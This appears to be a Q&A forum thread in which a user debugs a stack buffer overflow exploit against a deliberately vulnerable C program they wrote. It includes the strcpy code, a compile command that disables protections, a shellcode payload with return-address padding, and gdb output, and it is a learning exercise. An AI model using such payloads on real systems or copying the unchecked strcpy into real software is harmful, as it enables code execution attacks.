4

I have followed the example here.

Here is my sample program, "oldskool.c":

#include <string.h>
void go(char *data) {
    char name[64];

    strcpy(name, data);
}

int main (int argc, char **argv) {
    go(argv[1]);
}

I have compiled this program using:

gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -g

I have also switched ASLR off.

Using gdb's x/gx $rsp, I verified that passing in an argument of perl -e 'print "A"x80' will overwrite the SIP exactly. Here is the output of p &name

$1 = (char (*)[64]) 0x7fffffffddc0

I then took the example shellcode, and adding the padding and the SIP, came up with this:

./oldskool `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xc0\xdd\xff\xff\xff\x7f"'`

When I run this, however, I get an "Illegal Instruction" error. Here's what gdb will tell me:

Starting program: /path/to/oldskool `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xc0\xdd\xff\xff\xff\x7f"'`

Program received signal SIGILL, Illegal instruction.
0x00007fffffffddc0 in ?? ()

(gdb) x/10i 0x7fffffffddc0
=> 0x7fffffffddc0:  (bad)  
   0x7fffffffddc1:  (bad)  
   0x7fffffffddc2:  (bad)  
   0x7fffffffddc3:  incl   (%rax)
   0x7fffffffddc5:  add    %al,(%rax)
   0x7fffffffddc7:  add    %ah,-0x1e(%rcx)
   0x7fffffffddcd:  jg     0x7fffffffddcf
   0x7fffffffddcf:  add    %ch,%bl
   0x7fffffffddd1:  and    0x31(%rax),%cl
   0x7fffffffddd4:  rorb   $0xff,0x31(%rax)

Does anyone have any clue as to what is causing this error?

  • It would help to examine the values at the disassembled locations. That way, you'll know if your shellcode is anywhere nearby. The solution might then be obvious. – peter ferrie Jul 7 '15 at 16:13
  • Is your shellcode stack aligned? You might be corrupting your stack. Is everything the right endianness? Backwards instructions would be bad. – RoraΖ Jul 7 '15 at 16:22
  • @peter, Which locations, specifically, would you recommend providing disassembly information for? – Adam Denoon Jul 7 '15 at 16:29
  • @raz, everything is the right endianness, but I'm not sure what you mean by stack-aligned. – Adam Denoon Jul 7 '15 at 16:30
  • If your shellcode happens to not land on the 4 byte boundary then you'd be corrupting the stack in a way that would yield an illegal instruction – RoraΖ Jul 7 '15 at 16:31
1

Your shellcode is invalid. Change it to \x90\x90\x90\x90\x90\x90\xcc to check and detect the correct. enter image description here

  • Are you saying to replace the example shellcode with yours, add padding and address to it, and run it? – Adam Denoon Sep 24 '15 at 13:16
  • Well replace the c0ddffffff7f with 9090909090cc – Stolas Sep 25 '15 at 8:35

Your Answer

By clicking "Post Your Answer", you acknowledge that you have read our updated terms of service, privacy policy and cookie policy, and that your continued use of the website is subject to these policies.

Not the answer you're looking for? Browse other questions tagged or ask your own question.